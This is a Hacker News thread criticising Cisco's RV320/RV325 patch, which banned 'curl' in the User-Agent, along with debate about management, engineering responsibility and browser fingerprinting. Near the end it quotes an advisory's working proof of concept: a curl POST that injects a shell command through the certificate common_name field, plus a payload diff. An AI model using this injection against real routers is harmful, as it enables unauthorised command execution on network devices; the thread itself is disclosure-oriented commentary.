Cisco Fixes RV320/RV325 Vulnerability by Banning “curl” in User-Agent
twitter.com
twitter.com
Test-driven development
It's completely unrelated to any development methodology, this is someone unaware of basic HTTP protocol semantics.
So just bad development, period.
That's assuming that the well-paid and comfortable engineers decided on and implemented the patch.
Engineer Alice: We should really fix this properly.
Manager: How sure are you that the proper fix won't break something else for $BIG_CUSTOMERS who are responsible for $OBSCENE percent of this product line's revenue?
Engineer Bob: Uh, ten percent on a good day? Do you remember the last time we applied a "simple" hotfix to this function? I almost had to sleep under my desk.
Manager: And we can just prevent it with an extra regex rule in the front end code?
Engineer Alice: ... Yes. irrepressibly existential sigh
Manager: How much QA effort to call this good?
QA Engineer: We can run through a cut-down version of the acceptance test suite in four or five hours.
Manager: And for the proper fix?
QA Engineer: Oh, hell, at least a week of stress testing to really be sure.
Manager: Add the regex rule.
The answer is "no", though. This exchange sounds like the decision was between "fixing it cleanly" and "fixing it with a hack", which is roughly equivalent with fixing the problem at the expense of technical debt. But this change does not fix the problem at all.
curl -A "anything but Curl" x.x.x.x
the problem has not been fixed by a user agent string.
> Yes, but that would only help with this specific case. The proper fix would ensure that we don't see a similar issue tomorrow. We don't want to prepare for yesterday's battle.
> Yes, but the extra regex rule would be new code, which would need its own maintenance in perpetuity. Fixing it properly would let us remove the existing code. Removing code is the most efficient thing an engineer can do, and will save man-hours in the long run.
> Yes, but the extra regex rule has worse runtime performance than the proper fix. [Performance is our big competitive advantage | We don't want to fall behind in performance | We are already behind in performance]. We don't want to create a customer-visible performance regression.
Answering „yes“ is a lie here. This is different from a fix that fixes the problem in an ugly way, where „yes, but...“ is applicable.
[1] The incompetent ones, of which there are many.
I'm envisioning more of a middle-ground case, where the code is still obviously wrong but it's harder to cleanly demonstrate why.
Cisco has a bad track record in that regard and software in general.
My employer has reached a settlement with Cisco after buying their "firepower" solution which has been plagued with basic software and usability bugs.
In my case, a user agent string pretending to be Firefox is already part of my .curlrc, so it's no time at all, just grab the PoC code and fire away. (I've got commented out user-agent lines for a bunch of other browsers that I can uncomment as the need or mood strikes me.)
It’ll be totally explainable as engineer failure if something somehow doesn’t work.
No, it won't actually fix anything, it'll only look like it did for most trivial cases, and 6 hours after releasing it our company will be on the frontpage of Reddit.
You'd be suprieed at how many incompetent engineers there are out there. If "engineer" Alice in your story was actually competent they would never agree to implement the proposed "fix". Its not a fix. To pass it off as one would be malpractice for a real Engineer.
"I'm sick of you bringing me problems, bring me solutions! And I want that blockchain based big-data cloud IoT solution by the end of the week!"
In reality though I doubt this narrative even occurred. Some incompetent engineer likely proposed this fix thinking that it was actually a fix.
Edit: I see I've been downvoted for this comment. If we were real engineers working on things like cars and bridges we'd actually be held accountable. Take some pride in your work people, this is one of the most in demand professions in today's economy.
System tick timer rolled over after 2^32 1ms clock ticks (a little over seven weeks) and the software mishandled it by rebooting and losing control of the process. It wasn't until QA got involved (it turned out they saw it on a long-term test) that we were cleared to actually fix it. It was a two-character change in an inline function!
In some places "cover it up, don't discuss it in email" is the natural response. It really depends on the management and the organisational culture. You can have management who support the engineering team, or you can have management who micromanage and overrule and end up turning a two-day hotfix cycle into ten months of "try soldering a resistor to every single pin on the PCB".
Quitting assumes the possibility of finding a job after spending 4 months doing leetcode 6 hours a day and not having people that depend on you.
Invariably there would be someone who would, and if you were the person who had initially refused you probably wouldn't even be aware that it had happened until the bug reports came in...
I think the word "tehnician" should be used to describe most grey-collar ICT jobs, including most programmers. Their responsibility and scope of their work is limited. Many programming jobs are closer to blue collar factory level mechanic than engineer.
One thing I did sometimes like about being in Austria is the obsession with academic titles they have there... if somebody is a qualified engineer, they invariably use "Ing" as a title in place of "Mr" or "Ms"; people with two doctorates (not uncommon) really do call themselves Dr Dr So-and-so.
I have an MSEE, but can’t put engineer in my title. Though Ing. sounds kind of cool.
https://ncees.org/ncees-discontinuing-pe-software-engineerin...
software in many cases is more art than science.
A significant portion of that is making sure the manager is fully cognisant of what the quick fix means. Alice's job is to ensure that happens. The managers job is to advocate to his bosses that this has to be done and is a net win to do it properly.
It is as likely manager person failed in advocacy as it is she failed in information transfer, but there are plenty of gradients here.
And the answer to that question is almost invariably yes.
That's like stopping 90% of a flood. The other 10% does more than enough.
That responsibility might come in the form of "big bad management" chasing the cheapest possible "fix" against the advice of the the hero engineers, but it can take other shapes too. It might be poor oversight and QA processes, or a failure to hire and/or assign competent engineers for the task.
This is the narrative that always shows up in HN. Big bad management vs the hero engineer. It makes us feel good about ourselves while also absolving us of all responsibility. Its a bullshit narrative.
It is bad management to hire incompetent engineers.
It is bad management to fire competent engineers that push back.
It is bad management to make employees feel as though they would be fired for standing up in any way to management.
Take away the rhetorical shortcuts, and responsibility still always falls at the feet of the ones that have the power to make the decision. As long as engineers are hierarchically bound to obey managers upon pain of sudden and unplanned unemployment, the managers are ultimately responsible for everything the company does. If the company does not have tenured engineers that have stop work authority, the managers are fully to blame. And if they do, management still might be partially at fault.
We have this headcanon where a competent engineer could stand up, sweep away the slide deck on screen with a wave of the hand, and offer ironclad mathematical proof that the quick fix is no fix at all, and that the long, painful, but correct fix is what is Right for the Company (tm). The manager would then do the slow clap and tell that engineer to fix it right this time. It is a fantasy that is a great comfort to those of us doing maintenance work on a massive crock of shit, making the payments on technical debt that we are expressly forbidden from making any attempts to retire. But it is a fantasy. A real manager would cut the engineer off in mid-proof and say that the quick fix is happening, and that would be the end of the story.
The only way for an engineer that is "at will" and without a contract to push back is by falling on their own sword. They can quit, at great cost to themselves, to create a very minor inconvenience to the company, who will end up doing what it wanted anyway.
Being in this situation myself, you're damned right I have no responsibility for the crap code that goes out, because I have almost no autonomy in the manner in which I do my job. I cannot work outside the scope of the maintenance tickets I am assigned. And my company rents me out by the hour to the customer, so it has negative incentive to allow me to build up infrastructural capital that would allow me to do the same work in less time. I will blame management all day long, and then a bit more on evenings and weekends.
The Manager and QA Engineers here depend on the expertise of the engineers. If the engineers fail to communicate key details of the situation, then that's on them. Sure, the boss is still at fault for depending on a shitty engineer for decision making, but that's all.
Both should be sufficiently competent and knowledgeable to know this is a terrible idea, especially in the long run. Otherwise they do not understand the task they have been given. So no, Alice is not the only incompetent one here.
At the same time, I know lots of, well, arrogant nerds who get into "existential sigh" mode as soon as someone with less technical skill than them says something stupid. That's more how I read it.
I guess for me the word existential is a bit different. For an arrogant developer it would have been something like ‘long-suffering sigh’.
Unless, I guess, you feel you are so smart that your entire life is defined by interacting with morons :P
1. Explain that the 'hack' does not actually fix the problem. This is absolutely the engineers responsibility. In your example Alice does not say that. This has always been sufficient.
2. I make a habit of sending emails or keeping minutes confirming such meetings and the details of who said what.
The one where the "appeasement engineer" shows up to fulfill the guaranteed response time requirement.
Therefore, we obviously need to patch echo (and all echo shell builtins) to refuse to output strings containing "GET", "POST", "HTTP", or "Host:".
Unfortunately it is also possible to do this using file redirection or to write a new program that will make a TCP connection and send arbitrary data through it, making it necessary to do the same for all editors, compilers and interpreters.
That sounds like a lot of work though (there are many such programs), so maybe we ought to just patch the kernel to prohibit any of those strings from being written to a file descriptor. There can't be that many false positives.
We must have a regulation to require a hardware level detection and prevention features of curl which all hardware vendors must follow.
A better fix would be to just drop all incoming IPv4 packets that have the "evil" bit set. (https://www.ietf.org/rfc/rfc3514.txt) Extending this protection to IPv6 is left as an exercise for the reader.
Or also when you run into those websites designed on a $2000 screen that thinks it’s tres moderne to use 808080 text, so you “hack” it into readable text.
I think those are all happy little hacks :-)
I have not seen that in a long time.
Welcome on board :)
Scripted attacks can of course be modified too, but it still takes more than zero human effort to do it.
curl -A "YourNewUserAgentString” http://url.com
Furthermore, there are free plugins or add-ons for both Chrome and Firefox that let you change the user agent and say you’re using IE, a mobile browser, a google bot, or anything you want the user agent string to say.Most programmers should be able to write a small script using Python’s urllib or urllib2 to do a basic PUT or GET request with any User Agent. Heck, just type “change user agent python urllib” into google, click on the first stack overflow link, and copy/paste the answer. You can use Go, ruby, java, nodeJS, or PHP instead as well.
Edit: Maybe your comment was sarcasm :)
I still appreciate you putting in the effort to explain. Have an upvote!
This is a symptom of the rot in their management, and probably also a sign that they have hired too many incompetents.
It probably also is a sign of the current age. After the recovery from the IT-bubble programming got really hot. Thus: Too many of the new programmers wants to be programmers because it pays well - not because they love their craft. So therefore we have a bunch of well-paid but uninterested people seeking jobs at prestigious companies.
Culture matters. I want my socially maladapt terminal junkies back plz.
the MBA types don't like these hacker types - personality clash and whatnots.
But the MBA types control the company from above, and the hacker types don't like to do management work. The result is obvious.
My conclusion was that I would buy my infrastructure from Allied Telesis. It's pretty much a Japanese version of Cisco, but it's still healthy.
Ubiquity was number 2. I refrain from buying from them only because of their glossy UI.
Mikrotik was on that list. Until I saw how horrible their winbox protocol was. And their implementation of SMB.. I must assume there are still plenty of unknown RCEs there.
At least Allied Telesis documents their backdoors :)
I guess there is nothing good.. what is wrong with people :(
also, while not perfect, what is so horrible about their winbox protocol?
Instead of reusing functionality that exists in the router already (ssh?), the authentication for winbox is something they built themselves. It was in the winbox auth that the main security flaw was. It just looked really bad to me.
The winbox client also downloads and runs any DLL that is sent by the winbox server. The winbox client has a windows certificate so all it's code is trusted. So own the router and you get the admins workstation too.
It just feels like maybe they hired some random guy without much appreciation for security for doing winbox.
The SMB server also had a rce a while ago.
That said, I guess that if you disable winbox and stuff that should not face the internet, you are probably safe?
Too much for me though. I would not feel safe.
I know some fastidiously groomed VSCode front-end hipsters whose entire bodies involuntarily tense up if you suggest a lazy technical workaround to them. It's funny and makes me feel good about the future.
But I get you; I agree completely. You do need people who really care. They're just not as easy to stereotype any more (if they ever were.)
They have outsourced the fuck out of their projects to uh, questionable means.
As a sign of the quality of the current median developer, I think you are spot on. But I don't know that it's worth griping about. That is the world in which we live ... so live in it. In fact, all the better for those of us (if I may dare to put myself in a more elite group) that are highly skilled ... we don't have to work on some me-too unimportant SOHO router, at correspondingly low me-too unimportant wages.
² https://www.tomshardware.com/news/cisco-backdoor-hardcoded-a...
But you are right, they don't care if the box is secure, they just care that they have a CYA that allows them to "check off their own boxes" on their reports.
HP and Dell are the same thing. From experience a decade ago, the HP usually did not have the enterprise features they advertised.
The other minor brands are very hard to procure if you're not in the US or a primary English speaking country.
Pretty sure Extreme is still non-existent in Europe as of today.
For all the flaws of Cisco, well the only flaw is the price, they can deliver in any language anywhere in the world.
I don't know what problems you encountered in France, but I can assure you both of them are very well represented across the whole EU, even less developed parts of it.
The reason managers pick Cisco is mostly that "nobody gets fired for picking Cisco" imho.
[0] https://www.juniper.net/us/en/contact-us/sales-offices/paris...
That (and other bad security responses) have not really hurt them, so at this stage, this won't make a lot of difference, I'd expect.
[1] https://www.forbes.com/sites/zakdoffman/2019/02/19/huawei-fo...
So what. Removing one of the largest sources entropy available for fingerprinting users is important. We shouldn't maintain the terrible long-term effects[1] of tracking everything just to help you have an easier time debugging.
[1] http://nymag.com/intelligencer/2019/02/shoshana-zuboff-q-and...
i ran this on my work laptop (windows 10 / firefox - mostly default settings). the "details" tab shows a full breakdown of each fingerprinting component with a "similarity ratio" (percentage of fingerprints that share the same value).
every entry is 20% or greater, most of them around 50% except for timezone (4%), canvas (1%), and user agent (0.12%).
so, yeah, user agents are still the largest source of entropy by a wide margin for fingerprinting scripts.
Just give me "Chrome 68" instead of "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
>Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Given the engines are allowed to vary, this experience is inevitable from time to time. The user-agent is really valuable in helping us figure out when that's what we're seeing.
Now consider that mobile devices are different as well..
But it's not quite that. It's not that a device is "mobile" instead of "stationary" that matters. It's maybe that it's a touch screen. It's maybe that it's a small screen. (With an especially uneven aspect ratio?) Maybe that it's handheld. It's maybe the combination of all of those things. But it's not really that it's "mobile" exactly. And there are, and possibly will be increasing proportions of, devices that have some but not all of these qualities we package together in our brains as 'typical mobile'
User agent doesn't tell you size or aspect ratio.
Even if you know I'm running Chrome on Android on a Galaxy Note 8, you don't know the size (physical or pixel) or aspect ratio of the viewport, because: (1) I may or may not be viewing in side by side windows, (2) the screen can be in any of three resolutions, (3) the screen can be portrait or landscape, (4) the browser may or may not be set to use the full space on the long dimension of the screen.
OTOH, CSS Media Queries answer these questions.
Mozilla/5.0 (...) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
So as time goes by the user agent becomes increasingly homogenous and so, less useful for tracking.
- hiring people who'd know not to do it
- creating processes for more than one security expert to review security patches
- requiring the testing of patches against real-world workarounds
- allotting the time and budget necessary for all of the above
-A kurl
in the proof of concept.I also note the timeline
* 2019-01-22 Firmware 1.4.2.20 released by vendor
...
* 2019-02-07 Incomplete mitigation of vulnerability identified
...
* 2019-03-25 Vendor requests postponed disclosure
So this is apparently a bad fix that Cisco has known about since February, and asked for an extension in order to fix again.
(in reference to : https://news.ycombinator.com/item?id=19318498#19329754)
$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"
Quick, Cisco! Also add “kurl” to the list of banned user agents.[1] https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-0...
I'm curious how pen testers reverse the .bin firmware download into source code, anyone have any insight there?
Oh, wait...
cat ~/.curlrc user-agent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0"
Edit:
>The update adds several filters to handle single quotes in user input. However, these filters can be evaded by specially crafted inputs. By providing the following string for the certificate's common name, a "ping" command can be injected:
Title is misleading, implying the only patch was blacklisting curl.
Good to know they at least half fixed the problem, I guess. But that's not enough, and they should be capable of testing this.
Probably not, hence an appropriate first patch.
If you're fighting an active attack you can stall by filtering on some arbitrary parameter unrelated to the actual problem. For anything that's supposed to last more than an hour, it's worse than useless. It makes your system more complex for no security benefit. An idea like that should never make it into a product release.
-"common_name=a'\$(ping -c 4 192.168.1.2)'b"
+"common_name='a\$(ping -c 4 192.168.1.2)'b"
and POST instead of GET (and kurl as the UA, of course).Does their fix specifically check for injection starting with `a'` ? And only works for GET requests? Mind-boggling...
Edit: The new exploit also targets https instead of http. I would've said that surely that would not make a difference, but given what's already happened I'm not sure.